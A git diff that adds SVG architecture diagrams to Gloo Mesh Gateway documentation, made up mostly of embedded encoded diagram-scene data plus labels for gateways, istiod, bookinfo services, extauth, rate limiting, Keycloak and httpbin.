MDE5fFxmr4updORcdTAwMTmMKO5Qwk3XbPNKXHUwMDE2XHUwMDE5jM4pyYDGZVx1MDAxYnBcdTAwMTjxq4vq4TDTWlxyYS12d/BcdTAwMTRFXHUwMDBlI1x1MDAxMeEwsiaHKWu1XHUwMDAxsK7Faq1cdTAwMDFJY9jtd8b3j/VWPP1yLZqdu3zkMypnXHUwMDEx/WBcdTAwMDLYKlx1MDAxMVx1MDAxYlx1MDAxNlx1MDAwYpVSuXtcdTAwMWSGXHRcdTAwMDdcIsZ4jzHOv5/h40RrTjpcdTAwMTeCXGZcdTAwMTLJe/76Nlx1MDAxOPSv7sX4058wR447d6L9MSqSu3rxeqpcdTAwMGabhuRSrFBcdTAwMTGyLONJMq6ksq+Z5M3TxWNq2M9+RJ+DQVx1MDAwMTpE2yxJw8GCU0UoJYJcbrVcdTAwMTNcdTAwMGVcdTAwMGWnI7FiJuCZ/mEw9MCVpLtU4GJJXHUwMDFlgVx1MDAxMVx1MDAxMN1cblx1MDAxNXnQW2v8Mr6NZ1x1MDAwNrRfXHUwMDE1/LiOssPrw2AxqpA2XHKDwZBaXGJSlIp/XHUwMDAxi/lkPPrAUFx1MDAwNYJAwlxc/ihcdTAwMGWjXHUwMDEx4TC6QdihdrnaPKpMUIZcdTAwMDCRhjf35Gny8fXy9Tr5OOpcdTAwMTTKd5f39fR7O+rHPVx1MDAxNDmIf15zTFx1MDAwNpwlXHUwMDFjSoG9TON07Vwio/0nykhcbpsn+Vx1MDAxZeMrgoBp/H74enWHziZ13ms+XHUwMDBmTi9cdTAwMDa90tBcdTAwMWaYRiE68NDyZHa0vIc17K7yZFx1MDAwZWtcdTAwMTX+8GGXxUj6P/BzWI8g3HUsI+gke3aqXHUwMDAyVKe4/DyYXqpzg1x1MDAxNzSi2Fx1MDAxNrQuXHUwMDBm0rqKOmpLWnc7RWAxQHCm/qySWlx1MDAwM4CNlWK/cnTTrfhD3Vx1MDAxZFx1MDAwNTQugZGLXHUwMDAweG6e60NhSa1uWXOYXHUwMDA2y6xXOPnI14ZTnHwslN572Vq2krnKTdVaSeNfmIFcdTAwMDO0ZIJRfmXFzZ97UMpcdLAsXHUwMDAympOEYr1ZXHUwMDFi4i0n4HAkXHUwMDE5lpREM1x1MDAwMYckMv3a1cnksvdQSt5Pb4S4mNY2V6U7XHUwMDFh9jtcdTAwMDHnXHUwMDEwd+172Fx1MDAwM1x1MDAxYXZcdTAwMTlm9X/gXHUwMDFlMauU9qhcdTAwMWKptMKYqPAnXHUwMDFlwetcdTAwMTldyEqDtKPQXHUwMDBl35J23Fx1MDAwZWTllMDGiD8q/Vx1MDAwNlx1MDAxMODRuDlsXHUwMDFjnXfeu/6NjXdcdTAwMDVal1x1MDAwML5F0Low0/VhK1hSNtZcdTAwMDTUipRcdTAwMTIr5I1Xz2R6XHUwMDFjXHUwMDFm6vv+Tbo3md6cXHUwMDE0psLWnS4yXHUwMDBlXFxcIlx1MDAxZPyLK11tq2dsyZiJryZISqKZIHSzYJ3tti6QXHUwMDFjMaWp3l9nkSCld1tRXHUwMDA1naynq5e9OqlUe5nk7ftFdNHloTlwd7S8O1x1MDAxYfZBZ7Wi6u7l9fmyX1fj2OhtbCmDv9IqZJrouC1cdTAwMWJP9y/3V7l30TpcdTAwMTbVRmtcdTAwMGLj3qGyrFx1MDAxN1H/XHUwMDAyP1xm74uJXHUwMDE4SuC3zlx1MDAxNsZcdTAwMTUnIz3J3ORq7cJcdTAwMDdcdTAwMWRcdTAwMTVj+q1xwrcwbmKUPc/dxFx1MDAxZS6fT8SkSj7kS/PSsm3/Yio7lGGXwXf/XHUwMDA37lx1MDAxMb4rZfc4I0WoUZzh4XvwekZcdTAwMTe+k1x1MDAwMJjAlYNDwYQvauKgJVx1MDAxNkrwXHUwMDFkpu5GXHUwMDEwvSda3e5RpjpofLnHeVx07l1cdTAwMDTv81x1MDAxM91cdTAwMDC7M6vLWTNOXHUwMDAxvKtcdTAwMTWCnESvnunU4qfTbmFy2SxeTVpvXHUwMDEzXHUwMDBiW1x1MDAxZVx1MDAwNHbnRMOblCNu+j7wXHUwMDFkZbKs53BGmjCw9mU0sXv8Ma6oyFx1MDAxNV8rZ82n6b3MXHSSL26uSL+x+06X97CG3VnwxUGtwqFcZrs0SsL3gXuErDogSIJIXCIpXHUwMDE2K/Q8XG5ez4OErJxcdEeE0Y5fhFilVFx1MDAxNFx1MDAxM/VHuZtTg2Gz++VgdVx00FtcdTAwMDSrn5NcXItcdTAwMTGVtFZ8UlhRxalcdTAwMGVvOp7m3l/w+Uf8XHUwMDA0Np2knzBcdTAwMWGdqFx1MDAwMzj54cj5zYVELFx1MDAwNishXHUwMDFh7uRn02AlV2Lubz6k3nRcdTAwMTfEmMZcdTAwMTRFXHUwMDE0mj68Zc+L+cZTJpWrd4X6QJPCyzRcdTAwMWNs2ERcdTAwMDf58nnoqk+X1Xq148/krlx1MDAwNImvXHT3/zmX9ZQqtyeuXHUwMDAx6SpQulwiPDM/5PDgvFu8yWdcdTAwMWaL49fHbDHRbUW/eoJkxDHtp0w1XHUwMDFkQuaVKlx1MDAwMf50c/ruXHUwMDAyXHUwMDBmpU/yqVx1MDAxZi9zRFx1MDAwNaZ6f3W/g3i59lJcdTAwMWK8dF/vxJC9XHUwMDE3Lmmym0dxSyn96PDyWas5tyP75OWfc1x05GV7pTZGrNysTHUypWn4PPLgvYyk90hLXHUwMDEzryi0lIJTtlBcdTAwMDZcdTAwMDVheI9cdTAwMGJlgiAklUE9QTc5+CWm7I2QmmOMXHRWLonxWZjRwdL4lLHSJkRRe7icIJi+KSXxL2mjZauJXHUwMDE2rC+O3M2yTPtLpbnUgC+xiS5y3fWzXHUwMDE3XHUwMDFmc4gggiolpMKmLsnPOyyF2lx1MDAwZbau0rGdxszloa7P8f5y/1xcXHUwMDE1Klx1MDAxMGHNv5VcdTAwMTIwMFx1MDAwZm98J6tcdTAwMTcqL29cdTAwMWHTi/xNq5SaPufLp+P1cII1XHUwMDE4ulJcdTAwMWM0qlsus1x1MDAwNCTGXHUwMDA0omZ94XWxVJpiXHUwMDBlglx1MDAxNTdcdFx1MDAxYlx1MDAxNFxm8F15p33yb72VXoEyXHUwMDAwrpBcdTAwMWRC/q/Lv1xyrciLo2FcdTAwMDNcdTAwMTTqtPpPZ9ioXHUwMDFl9atvo+rAX7F/eTlWy9xcdTAwMDI5cclJXHUwMDExs7EjZlx1MDAxY/Sbkjw8cs+WMne52Fx1MDAxMzqPX02eXHUwMDFm8/3XXHUwMDE33XuKuLLHUjv6k1x1MDAxZOfVPaUmn2hr7Ljd7Fx1MDAwNKZcdTAwMTBcdTAwMTIgo6OZnKBcdTAwMWFcdTAwMTdZ8lxceW6op9T0oVa4XHUwMDFmsOSrP4j/PitafdxcdTAwMWQt7/ewOzyC2lWU12Gt7qFcZrvsaMv/gZ/Delx1MDAwNOzuXHUwMDEzgIn9bGvWvVx1MDAwM67w8Dp4QaPqhjP4OUCdc+LwbanzraRTKKBcdTAwMDCt5Vx1MDAxZZX4XHUwMDFlzrcuqpNyq1t89Vx1MDAwNdU7a79cdTAwMTdcZk5cdTAwMTeh9u85XHUwMDA28mKAXHUwMDE3zVxurCXGmislw6dPjNi4Mnm+eWW343g/e90+ezvLdqNv6Vx1MDAxMobtvEgoZ3O8KDfhRXuhKeTDh8rb04RyzJSAfTlQUzekr1xmXHUwMDE3k+nTq1x1MDAxOLs+q1RT5IXmWO8s5tJu7v5cdTAwMDGYgHUomDnR4IK4XG6nXHUwMDFk/XKWUVx1MDAwNymkpNZmglhR+vNcdTAwMDaLr8w2qcFcdTAwMDfFXHUwMDE3tWL5XHUwMDBly1E9Kcbv5WuXI2d+UoSaNlxusFmEwNZcdTAwMTJcdTAwMWZcdTAwMDdcdTAwMWVZOqk13HSLjP6lnjpB/jP3q1j6XHTs3iz4XZGlXHUwMDFmcTHK7HeqPj/yl/vn6qKQW2GJqUrCKNLho1GleFXpt4fcvS7m9cOTjMVf2snIi0KlMVx1MDAwZlx1MDAxMoVcdTAwMDJ9gSiUfpBEc+lo1+Uq9/er35owneF2XHUwMDE5gVx1MDAxM1x0yVx1MDAxOFpcYplusoxLMZOOXHUwMDE05IyPXGaijqtcdTAwMTeGXHUwMDA0kFx1MDAxNyxcdTAwMThcdTAwMGb3XHUwMDEwgfE5qVx1MDAwMZS87CNcdTAwMTTNPcJDfytKXHUwMDFka3iRsKavXHUwMDEyXHUwMDA1XHUwMDAyR1x1MDAwMk2HXHUwMDE2OpcjieRl4lx1MDAxYVx1MDAwNq1ePmSrjD+MclE3hVx1MDAxNJfIoZIxrqgkhC+EJGCQSFx1MDAwNCHCNaNcdTAwMDaR2lvKYSVYMbjhVKApRPzaynmDXHUwMDEygJew4O5cdTAwMWV0h2tcdK3a9+1o3O2/2tu+fXlcdTAwMDCBd1rrqX6gMnv7caGIaYPAwvPhe6vIPmpJys9cdTAwMDbX9GP0fEJcbomyhVx1MDAwZiNyvqCEJFx1MDAwZSh1QFx1MDAwMCDq6EKtXSArXHUwMDA3a1xyeoRRXHUwMDEzkmNX/CGY0Fx1MDAxYU0guCO56fWuQVx1MDAxMmCmfcpbY0RcdTAwMWRcdTAwMDJ3gNCg8CSOPDiAUqkwdkO1g4ZcdTAwMDH2Tkk2gDBttcpcdTAwMGbNWP2+1H6e1PPlbOpucutcdTAwMGZcdTAwMTCoXHUwMDE2XHUwMDAyRKpUhMG+alfLol9cdTAwMDBcdTAwMDE7SmnJiTaxJLD/v9TeRkbK3mCAlcDM5SWtkCr+XHUwMDA3z1x1MDAwN7eTtomgXHUwMDFmTcmQcKgtvpYgJVxcoJu74lx1MDAxMn5cdTAwMDNmpJxcdTAwMWZ9JGav0ufMnINcdTAwMTb9vENxXHUwMDExIFx1MDAwZbaB5bdi32wg5HbM879sXHUwMDBlXHRcdTAwMWIjXHUwMDA0V1x1MDAxZVxm91x1MDAwM75ZVYqBdlqSUK61Rfkyxz3rSJgth+ewuVx1MDAwZsB3cj7JXGZel1x1MDAwZUD0XHUwMDAy9VL3eJRcdTAwMTLHNVx1MDAxYVF06YCgqlx1MDAxZNdcZqica6/o4YSl41nZy1xcjFq/r4euQorK5VwiPvVYvyo9N9tx0lx1MDAxZSfUSJXLXHUwMDE3TeQn4k3LT45cdTAwMTDjQlwiTiRTkrlcdTAwMTbjp5DXXHUwMDBlYVJRREDAc0NFXHUwMDFlXHUwMDE5XHUwMDFmSu9cdTAwMDS34Z7TO0wxsGw4RXxW4JQwz5ykw4XWsHem+LhUyNvxc1x1MDAxZK3yQ3z/9XNP/i72erkhsM/vL/X3e7M6PrVcdTAwMDdE/PVzXHUwMDAyRrxVzVf5n//963//P6lZo3QifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientauthorizethe requestKeycloakhttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg new file mode 100644 index 0000000000..a4287e3dea --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVdcItuy7vv6XHUwMDE1jjqvm7yzb86botJcYlwi2CDcdVx1MDAwN4NOWulcdTAwMDXxjPPfb0yqSlx1MDAxMshMkk6TKnLvjbtcdTAwMDQjJzNnRHzR/88/Z2c/RtNe9cd/n/2ovpeL7UZlUJz8+I/5/bg6XHUwMDE4NrpcdTAwMWR4i8z+Pey+XHLKs0/WR6Pe8L//z/8p9nrW/K+scvf1519W29XXamc0hM/+X/j32dn/zF5t91x1MDAxYVTLo2Kn1q7O/mD21vx2UrHl3952O7NbY1wiXHUwMDE1XHUwMDE3XHUwMDFjXHT6+YnG8Fx1MDAxMu43qlbg7Zdie1idv2N+9UOOlZg+15+6OpMp4Fx1MDAwNOKVbjQ9v+1Lo92+XHUwMDFmTds/v1ixXFx/XHUwMDFi2Fx1MDAxNjVcdTAwMWNccrqtarZRXHUwMDE51c3dl37/+XfDLmzB/K9cdTAwMDbdt1q9U1x1MDAxZJpcckCfv+32iuXGaGrooPlvf+6C/XPv8C8lKLOI4lx1MDAxMrPZ6+eb5s8p5lx1MDAxNmNcXHNNXHUwMDE0IYTxpWWFu+3uwCzrv5jmiMv5wkrFcqtcdTAwMDar61TmnyFElapi/pnJry9cdTAwMGKUrV93N69CzW9TrzZq9ZH5jMLWfJHwOn8sw+rsiVx1MDAxMKRcYsJcZsn5O2ZcdTAwMDG9WGV+On7SVJdcdTAwMGbZVJM+Xby1efymXHUwMDFmKTTuXHUwMDFlfvx6//8tb3y9OOj92uBcdTAwMWaz72P7juafV8sn0H5cbm2H4yMzvVx1MDAxZSTDscwoXHUwMDFhylxya9ejyeT5+pPWwpEtXHUwMDBlXHUwMDA23cmPz3f+9z9edMOVdGHwkuj3WDzRSyanLTp8XHUwMDE2/uiufOW3XqX483hjwbRQWDKk9JxF2o1OXHUwMDBi3uy8tdvz33XLrTlH/GNb8GasqIQ7K1wihblcdTAwMTbwdH2z4qhcdTAwMWV/nZy/J6bRSWHQXHUwMDFjtsLjq2v0dayIt2RFRiwmXHUwMDA11si8KrnIi0xYXHUwMDFjK42I0JgxXHUwMDBmXkRKvvCSNy9iUlLKiVx1MDAxN5GyiO1iwoFcdTAwMTeJsLT9Ysu8qFxmXHUwMDFmckTxwVhxaP6xJSuW0336kruOZmqVay3uXHUwMDFlnlx1MDAxMiyR2lx1MDAwMyuGUlx1MDAxMZlpIZJcdTAwMWZWwq1SXHUwMDFjRd/wOHyMrMilOytKKVx1MDAxNNHcNycmXHUwMDEzN4NO47w4vH9cYkXbpVqnXcf3gedEJZFFQftLPXtdUYqSYUyYxlRcYkFcdTAwMGWiXHUwMDE0MSFogcuUk1JcXOE8zFx1MDAwNUJcdTAwMTRcdTAwMTEtXHUwMDBmxnq7aMFG8/E5fkGT43ohXHUwMDFlXHUwMDFmplx1MDAxYrnq5KO9XHUwMDA31ruU3YzMX3VahWaqXHUwMDEw4sOXV6L0MbKeXHLXLLGeklJLwpT2zXrtx+tRt3s9fmrpWnSQZtcvnUjgWU9jie2sp1x1MDAxNnmPKZ+89/1KXHUwMDEwOFFcdFx1MDAwMKv6YJz4TUowUFx1MDAxYyNcdHbjXHUwMDE4glxioYT6Z5hoTvVcdTAwMWZvxrXKezzWyYWRvKZcdTAwMGYy8Fxmw7G2XHUwMDAwakkmZq9kgWFAXGZaxFx1MDAxZsPMLk+GXHUwMDE5XHKKnWGvOIDztco0SstFhljlXHUwMDE5pYglbFx1MDAxN19mXHUwMDE54DUpMcfBNOFE7e2ynn16zzWL/VhcdTAwMGVcdTAwMTcuXHUwMDBihXO1XHUwMDA35TUsPupcdTAwMTRuNzIvLJW+eFx1MDAxMDR1S/t7oLuDyVx1MDAxOShcdTAwMTbn1Fx1MDAxZI9cdTAwMTKqqKZcXErfTF7JVNPtSmR4XHUwMDFkvyhcZq9QXGKfd0Qt6ExcdTAwMGWQnFx1MDAwN4LJXHUwMDE1Xc/keJmtNaegyJn6PkxcdTAwMWGMg6yocD3ImGFOtNhAWyVvy0mRmk7L70J86M6LeJ1e3Vx1MDAwNv4gKy0s5WZZMXY86Fx1MDAwZWnG4UhcdTAwMWZOVVx1MDAwNdHF8aeoXHUwMDE0IVxc7SymXHUwMDE5UVxiU/9cdTAwMWGldnfxOHh8eU8+1FqXd7XndknEU1/HiNv6/fFMoygkkVx1MDAxMEov2lmCYoszIVx1MDAxMFfwtpaHcfxjKdhcdTAwMDKb0VVOpDZcdTAwMWTz28eBXHUwMDA00lx1MDAwNFPKXHUwMDBmxnu7wMSb+E08d1x1MDAxMZaF5nu+2UuGp1x1MDAwM8GujpBHOOduPKI4xYIq5p9HknX6RC7yuYvk9UDmapnrt4tBNujKSlx1MDAwM650R12CK7+oa1x1MDAwN20lXHUwMDExWoe4MFlBXFxCY1x1MDAwMiqWnHxcdTAwMGZcdTAwMDfVXCLUNWYlpYmBKOY/ZJVcdTAwMTaYVlqj2kRXLiOp27tkf3j7cFx1MDAwNFx1MDAxY6LcOVx1MDAwNFx1MDAwZaBcdTAwMDVcdTAwMDaaQlx1MDAxY1x1MDAxOElcdTAwMTJcdTAwMWL+3zOHOFx1MDAwMDhcdTAwMDB5yH6txIux1lgrzlx1MDAwMlx1MDAxYaRK1sehRDjZqIYuXHUwMDFmi1x1MDAxZrX3RCHRXHUwMDFmXHUwMDFlIY9w6WrzXHUwMDAwemb+syvqtFCeZuSlTlx1MDAwZlx1MDAxMyn2Uq6nXHUwMDEyaeHCXHUwMDFmS+d8kTvY13FcdTAwMDfWzJ07qFx1MDAxMj6tXHUwMDFkJUhVl725o1RlpUrJXHUwMDAxY1x1MDAwMcRyYYRPZuGrXHUwMDEwXHUwMDBiTFx1MDAxYoZcdTAwMDBnXHUwMDA1kzkuXHUwMDFhyUTkgZGOjpWKrWjuLl3UXWfmXHUwMDE4Vd9Hfq1cdTAwMWI5apSG1Vx1MDAwZkXiz4328+tLqPpM2Vx1MDAxZaymq0I6jJMsPumWkvjueaRvou/3e6BbXHUwMDFll1wi8rJz0Xxo0HtcdTAwMTWdPjTDV6U90D3Q9p7IXHUwMDFhXHUwMDBienh+TlLTiyd1UcelVu0pVbjHwX1mydbNy+1r+uNjejM5r7zmOvSug3Za7sIq/uP3i3yfdltYpz/FRlx1MDAxMKdKS+Q/S8L76Vx1MDAwNVx1MDAxNfxcdTAwMDGE8lBvXHUwMDA2/PlSby+za3unNCirVZ3G5lx1MDAwZY3fOk1cdTAwMTHGXHRX8vuMon1cdTAwMWXa+eHodkb3jY+fXHUwMDA3b+G318XXRnu68Hxnp9kkYnRqXHUwMDAzWPTZv51cdTAwMWGsY1Kc2rd/WIXbz1x1MDAxMNriXHUwMDFmnrdcdTAwMWK1zkzxwFx1MDAxN6pcdTAwMGVcdTAwMTa4YtQoXHUwMDE3259cdTAwMWZ4bVQqdjxYhtVcdTAwMTSB5iDmXHUwMDA3y3VcdTAwMDeNWqNTbD8sLfb3UrdHo1x1MDAwMrv6NDBXWFOklH+nxl0jme5/vIc77dFI9oudu+iNdHNqXHUwMDA0XHUwMDA3klx1MDAxMneeZYpcdTAwMDRcdTAwMTeSXHUwMDEyathcdTAwMDSpYEJSXe9f3vP2/aCPXHUwMDBik3YjeZkvjt5OkHRfkPRA23sgsvipU1x1MDAxNuWnQqlZzYbReSR9gSa3f90uXHUwMDFjXHUwMDBi2XWI1PmGwUOkgrnnSWBBiDZBV9/KzXubg1x1MDAwYkk9PPZM+fXYf1x1MDAxMSQliDGT0v99QeTgINJqcTiaVIejb4Kka7DcMiT9XFzt7phUIXe21aZcdTAwMWWK2Vx1MDAwZsjaylx1MDAxN1x1MDAxMitexCOT24/qy6TWTmVCsfx4XHUwMDFiTPqVdS9cdTAwMDBcYsEuo1xiMLi0p67//HtcdTAwMTNn00IoxIQmxJZPu0V2075BqYano6RcbqifNJMqXtW60e6oX4/IcTvLXHUwMDBi9cTNXHSU7lx1MDAwYpRcdTAwMWVoe4+LbFx1MDAxODVcdTAwMWZcdTAwMTTX6U4jP1x1MDAwZVfuu7m3i8zktLlcdTAwMDElu1x1MDAwZes63zB4WFdx17R/ylx1MDAxMFx1MDAwMVx1MDAxY4j960zvXVx1MDAwZSjUXHUwMDA1ram9tKbklpxrTaKWXHUwMDE2dmCsS1Yr05RQVEqCXHUwMDBll1x1MDAwNXw8YLcxXHUwMDFjNbpcdTAwMTVHgIvlwqf3XHUwMDA2cNdcdTAwMDDDXHUwMDE1n+vPXHUwMDE17lx1MDAwMGuxa4olXHUwMDA2VGtcdTAwMWOt/pNjdHxQXHUwMDE5JqIjXFzQr/fDp8Hje4SVgo1qNUHaXCKcwumaveIl/lx1MDAxNNhiSEpcctyLKKU75ey7Z1huhWq5gFx1MDAwNTPEglx0alPo4ryJXHUwMDFhtfxccnl6REROabPtUkN6XHUwMDAytZvTPdD2XHUwMDFliOyTTmtF1UOzlU9cZmpqcvnWnzT3sFx1MDAwYslcdTAwMDZcbr3Keu6x+Xh7P1x1MDAxNu2QqNb3Uaj8gMqyVkSDXHUwMDFi/DR6LEYuUVx1MDAwNPc7e6B7z25Dw0mt1E3etVx1MDAxM8nQa+ElS1x1MDAxMnug+9FcYvNcXCWmiySTUWxcdTAwMTjrXHUwMDE20lx1MDAwZpd/3Sk7XHUwMDE2suvQvfNccudkV0T3d6F75o5cdTAwMWQoVppcboH9h2m9tzmg8F5cdTAwMTPMPOGDsPRcdTAwMWM+LFx1MDAwN5C/PrlcdTAwMDLsLc5cdTAwMTklJ3R/9iPS7nbPktVh/ezfTrG2sK1f4Mleg5WXgf58sT+Xulx1MDAxNcNcbtuJWEmGUnCWXHUwMDEx1/4rXHUwMDFis29ccpK5bl+95uXl7bjUuk2WasWgMyxGjEtLUFx1MDAwNsDfvNoyTVxmXHUwMDAxzojFXHSYwCZriirk7sVcdTAwMDZDmVx1MDAxNb1z4T05lnCHVjG2ytPfXHUwMDFjKzAjfKFEIUgoP1iVho7yQC381kNcdTAwMWWUut1Wo/PSPZt0XHUwMDA3LXhu5aqjQCB84S/9XHUwMDBihFG35yZcclx1MDAxNr7TMus7rMuT+39utFx1MDAwM/tjjF0rYSjihC5kkq9jf+9HXHUwMDFmSGNcdTAwMWaYn2rD/IxpLbRE8+2YMT/HXHUwMDE2iFx1MDAwNYokl6atpLu69sH87sY+2O1cdTAwMTZBnCGpJNe2qrC5W05bSCsmYVx0XGJcdTAwMDP3I5vb4ZftXHUwMDBm3KHIXHUwMDAxi2K+slTfto7iYHTR6FRcdTAwMWGdXHUwMDFhvDmXN787iP5Und5ccmBmjF5+m9XcWlRcdTAwMDL4YohjXCKFkLZcblmzZcWe2WtiXHRAm4hqKrUgVPz6wCd4/1HtVNavybvM37YmbMEhJIRyXGZ6RlxuMu+JYV9cdTAwMTKjXHUwMDAyUUkkJkrCWVlZU7s4XHUwMDFjhbuvr41cdTAwMTFs/V230Vx1MDAxOS1v8Wwvz40oqFeLKzJcdTAwMDa+k/29ZZnRM1x1MDAxNFx1MDAxN8/S/P+dzblq9o/P/////uP46ZDriTfX6lmf0/vH/nPjzG9Cln87XHUwMDA3O0zB/nPtX9o9XVx1MDAwZiPpxFx1MDAwYi9kmuX0XHUwMDFiivYznddJ4KWd8MhcIlx1MDAxNVx1MDAxYe2xjYNr11jmXHUwMDAwc+SKPDNccvGIQPZmQ3+ERNtcdIiEXlx1MDAwNvBBYNXhv51O8bXqjknEtkbKrpjEeYnb8atwrdRcdTAwMDBtXHUwMDBi0pBy/7HC3NV58jr1Ulx1MDAxZcmrq5TOt3t3g2g98OwqscXd2FVcdLrHOnZXdqVcdTAwMGWV66vsqlx1MDAxOeVcZlx1MDAxZjJIuEtrh2BcdTAwMTXl7klcdTAwMTaYp1x1MDAxOGxR4LTC7VxmXHUwMDE1e1x1MDAxYtVlx1wiwDhMleL+q7a8+1x1MDAxOFx1MDAwNFVcdTAwMTZcYmlhrmatXVx1MDAxNF3q+1wiKbVcdTAwMTQjYFx1MDAwMSiMXHUwMDA0t3dZ36MswFJYXFxrplx1MDAwMb4xJm1cdTAwMTU3n5JcdTAwMDGBSEJIczClXHUwMDA0SC9gjFVcdTAwMDeGYmB0XHT6jd1cdTAwMDK/wlZZRtc+LFx1MDAwNs9eK1x1MDAwYlZcZlhcdTAwMGLC9Fx1MDAwMIKnSYi9Q8OnyYCN20pSwTDAa1x0ZoU+cpPB7ezN3nU4dlx1MDAxYlx1MDAxYVxy7j5cdTAwMTLq0eFeIWZGLGzgJPFWRYGVPcKiXHUwMDE0M01cdTAwMTVfbjllXHUwMDFhw8EvNeNcdTAwMDKejp3dXHUwMDBmKHmIQz5cdTAwMDSyNKFgTYJ5XGbrlYivpDIxKamBUocrJFxyguBxXHUwMDEzL95cYnhBvCCNsFx1MDAxNpJj04dX4Hnl7ad4MeY7XCJcdTAwMWNEXHUwMDBiMS5cdTAwMGJEV6SLL5Hn3TxncU1Ea2ByXHUwMDAxz5dcImD2VcdccsaW/FxcXHUwMDE016BcdTAwMDf/LJE3P/Szv1857lx1MDAxYko891x1MDAxNE20/Nt5XHUwMDEwXHUwMDE3YVx1MDAwNNaIf7Pr/E3VI/1eKEqeX1Umn+5k68NW8ENCXHUwMDE0wJZWYNCI2euiV5gwbmFNOSAxIUyaprvM2zkmJP3GhIxgxvL7orif93Awv4LV5X838+tX3dAwaDEhh3Vth3dcdTAwMDDMeHS7XHUwMDA1nWBEjn+84/3sXHUwMDAzincoZ5bxyUumOIjfxVx1MDAxNG0z0oozaVK0kdZcdTAwMDK599jcJShEXHUwMDE4teA9Y84xiYCQw3AtQS1GiOZYUXhqq/2bMYY1KnzIVmlBXHUwMDA2PN66Z1x1MDAwMVxcUKNlYZtNU1Vi+8QvYEEtXHUwMDBlm1xmwIJoLMTcuNg0JOQ5U2dhQVhiUzvH4aBRJW0qZr4obSlcbv9hyvS9RYSwlUVcdTAwMWRcdTAwMTXacT/w5lo+6lx1MDAxYmJcdTAwMWTvVnc2XHUwMDBm2XJcdTAwMTCcM0qNXHUwMDFi1re8K3RcdTAwMWHx9PVj4a51w6M8kjp/f0+6XHJcdTAwMTNcZkpvXHUwMDExwFx1MDAwZVx1MDAxZVEhxS2m99VbZDmtbdfeXCJcbmmqXHUwMDBm6EnaXHUwMDA19lxcv/RcdTAwMTOP+lx1MDAxOb2JJ373LPLTp0TDJVx1MDAwNzdcYlx071x1MDAxN/VhW/ZcdTAwMWH5RF5cXODioNBLZ+vve6CbeFx0R15uy5VQ8aV5+SaHvDq8v9hcdTAwMDPdXHUwMDAzbe+J7CHIrstwdr7hQe1cdTAwMDBPheFcdTAwMWGTpK45XHUwMDA0mFx1MDAxMkE1aG3/XHST3ttcdTAwMWNQ61ibwKN772BELL0vdbEuw3mtylgtZ1x1MDAxNJgrg1wivi97Mjj5zr1Bt/JWXHUwMDFl9Yo1ZyP2UCWNazDSsmlrX+ZcdTAwMGUoz5bIvDqNSHJiUsJ8c+6DeCtXqtfj3PtTpVRcdTAwMWJev3beU1uFXHUwMDEwv1x1MDAxMOZcdK+uxlx1MDAwMKT2x7f7hnlCcjDQaDC9W+HbUJaiu4d8efJYzffPpei6dYbdqD/DYchcdTAwMWVcdTAwMWJ6XHUwMDFjVOLFRqU25JVxKtspvuRiJJzbXHUwMDAz3eN6an852XXo0fmGXHUwMDAxRI/atY0pIVJotEEg2XuTg4pcdTAwMWSFV+thReT+XFxcclv0vliZa8lcdTAwMTCjXGLDik5g8UelXG5cdTAwMTCuPXRcdTAwMDaKauHje1x1MDAwM4prUNYyUPy9xO1BouDusVx1MDAwZlx0Vlx1MDAwM1x1MDAxY9pcckZfqFwijeaeSXQkS1FcdTAwMWNcdTAwMTVq+JqfXHUwMDA231x1MDAxN+hcdTAwMDFcdTAwMTI14cFcdTAwMDWJSlJhZlx1MDAxM1x1MDAxZS5hfFx1MDAxN5R4TotPsjxcdTAwMWS/s36KXFzT+qB+3s/vrmqPi+yhwNyBlvvC+53yLe+FW2NcdTAwMTSN9aP55E0swMv9y8muXHUwMDAzic43XGZcdTAwMWVIXHUwMDE03N1RoTlCUiPm38Xovc1BhYmKe8BEzei3wsTVXHUwMDE2aYiauSGHXHUwMDFjbHk8OHFQXHUwMDFjNTo1XHUwMDE3nHggh+JcdTAwMWGgtYxcdTAwMTN/L3FcdTAwMTec6Fx1MDAxYTLGXHUwMDAyc1x1MDAwM1x1MDAxM7X/eoRcdTAwMDedvb1PNy5cdTAwMTO90lMtr9+vU7HMY7BxXCJ8giBcdTAwMGZLXHUwMDBlo1x1MDAwMFx1MDAwM0XFpcBBjVx1MDAxYYdcIlRcdTAwMTaq6Hxwr8lzvnlbyPeliyNtXHUwMDEzdXtcXGRcdTAwMGZcdTAwMTUzPtByXHUwMDBmXHUwMDA1XHUwMDE0j+uhXHUwMDFkXHUwMDBi2XVA0fmGQVx1MDAwNIruRXGEUo0421x1MDAwMCh6b3NAgaJRQ9zLoaiC5VCUglFkXHUwMDFmXHUwMDA2/Vx1MDAxN+PE6rhRnXyxP9FcdTAwMWJoreDEX0v05E73wjHmVUihkebw6p8/vVx1MDAwM2xcdTAwMWLx5zJcdTAwMWJcdTAwMWPSkNPY4lxcI5PUqexMMstcdTAwMTXh0jLdpbHJu0WUu/fW2pU9XHUwMDE1tThcdTAwMTVcXHJYXHUwMDA1XFzaIZmaXHUwMDExSyNcdTAwMDXPXHUwMDA1XHUwMDAwPFF0lXdcdFWMsz+tXHUwMDFmhc9cXGrvlI2zeeqyKcXk2Fx1MDAxNGgxXHUwMDA1XCKXSOnQYlx1MDAwN1PTh1x1MDAwN2uKuaBcdTAwMDK+wGqllq+Eau/4wOKqKDZ6XHUwMDAwlmZcdTAwMWP5aC5hPlx1MDAxN6Utglx1MDAxOcNCKEKZqSNdWdNR5VO7XHUwMDFleXOtXHUwMDFj9jm